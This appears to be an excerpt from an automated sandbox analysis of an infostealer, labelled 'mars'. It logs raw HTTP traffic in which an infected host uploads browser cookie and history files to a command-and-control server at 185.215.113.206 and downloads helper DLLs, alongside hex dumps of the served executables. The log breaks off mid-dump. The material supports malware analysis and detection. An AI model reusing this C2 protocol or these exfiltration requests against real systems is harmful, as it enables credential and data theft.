00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 13:45:10 GMTContent-Type: application/octet-streamContent-Length: 4418560Last-Modified: Fri, 22 Nov 2024 12:56:14 GMTConnection: keep-aliveETag: "67407f6e-436c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c5 00 00 04 00 00 33 93 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 87 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 87 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 70 7a 6b 73 62 68 78 00 c0 1b 00 00 d0 a9 00 00 b8 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 70 76 6e 68 6d 65 00 10 00 00 00 90 c5 00 00 06 00 00 00 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c5 00 00 22 00 00 00 4a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 13:45:23 GMTContent-Type: application/octet-streamContent-Length: 1897984Last-Modified: Fri, 22 Nov 2024 13:41:01 GMTConnection: keep-aliveETag: "674089ed-1cf600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 7f e3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 67 75 64 67 6f 6d 64 00 60 1a 00 00 c0 30 00 00 58 1a 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 77 6a 74 77 61 6b 00 10 00 00 00 20 4b 00 00 04 00 00 00 d0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 45 38 37 32 43 46 34 36 39 34 32 31 33 38 31 30 34 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"1FE872CF46942138104604------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"mars------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"browsers------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="message"plugins------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="message"fplugins------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAHost: 185.215.113.206Content-Length: 7747Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 2d 2d 0d 0a Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIJDBGDGCGDAKFIDGIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="file"------AEHIDAKECFIEBGDHJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJECAEHJJJKJKFIDGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file"------BFIDGDAKFHIEHJKFHDHD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 4d 6d 38 33 61 47 5a 6d 65 48 51 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 6c 73 62 47 45 75 62 33 4a 6e 4c 33 42 79 62 32 52 31 59 33 52 7a 4c 32 5a 70 63 6d 56 6d 62 33 67 4b 61 48 52 30 63 48 4d 36 4c 79 39 7a 64 58 42 77 62 33 4a 30 4c 6d 31 76 65 6d 